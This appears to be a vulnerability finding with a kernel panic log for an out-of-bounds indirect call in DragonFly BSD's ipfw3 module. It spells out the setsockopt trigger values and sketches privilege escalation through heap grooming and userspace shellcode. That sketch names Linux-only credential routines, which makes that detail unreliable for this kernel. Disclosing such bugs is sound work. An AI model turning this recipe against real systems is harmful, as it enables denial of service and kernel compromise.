DF-0472 - OOB function-pointer call -> kernel panic (trap 9, GP fault) ===================================================================== (excerpt from dfbsd-qemu/boot.log; guest entered DDB, ssh died) Trigger: ./panic (root) - setsockopt(IP_FW_X, IP_FW_ADD) installs a rule with cmd[0].module=0x80, cmd[0].opcode=0x80, cmd_len=255 (the unvalidated field). - sysctl net.inet.ip.fw3.enable=1 re-hooks pfil. - one outbound UDP packet -> ip_fw3_check_out -> ip_fw3_chk iterates the rule chain, hits our rule first, and at sys/net/ipfw3/ip_fw3.c:506 does (filter_funcs[cmd->module][cmd->opcode])(...); filter_funcs is [10][100]; index 0x80*100+0x80 = 12928 is ~11928 entries PAST the 1000-entry array => reads a wild pointer from neighbouring kernel memory and CALLS it. ipfw3.ko was loaded at 0xffffffff82600000 (kldstat); the faulting RIP 0xffffffff826001a4 == ipfw3.ko+0x1a4, ddb symbolises it as ip_fw3_chk+0x1a4. The fault is a #GP (trap 9) on a `ret` -- the wild call ran a few garbage instructions off the corrupted pointer/stack and faulted returning. This proves the attacker-controlled module/opcode reached the indirect call. ------------------------------------------------------------------------ Fatal trap 9: general protection fault while in kernel mode cpuid = 5; lapic id = 5 instruction pointer = 0x8:0xffffffff826001a4 stack pointer = 0x10:0xfffff8008d271760 frame pointer = 0x10:0xfffff8008d2717d0 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, long 0, def32 0, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = Idle current thread = pri 12 kernel: type 9 trap, code=0 CPU5 stopping CPUs: 0x0000001f stopped Stopped at ip_fw3_chk+0x1a4: ret db> ------------------------------------------------------------------------ IMPACT: a kernel memory-corruption primitive (attacker-influenced indirect call). On this guest SMEP/SMAP are OFF, so the called pointer could be steered at userspace shellcode (commit_creds(prepare_kernel_cred(0))) given a heap- grooming chain that lands a chosen value at filter_funcs[0x80][0x80]; here it is demonstrated at the panic (DoS) level. Root-only trigger (raw socket + firewall enable).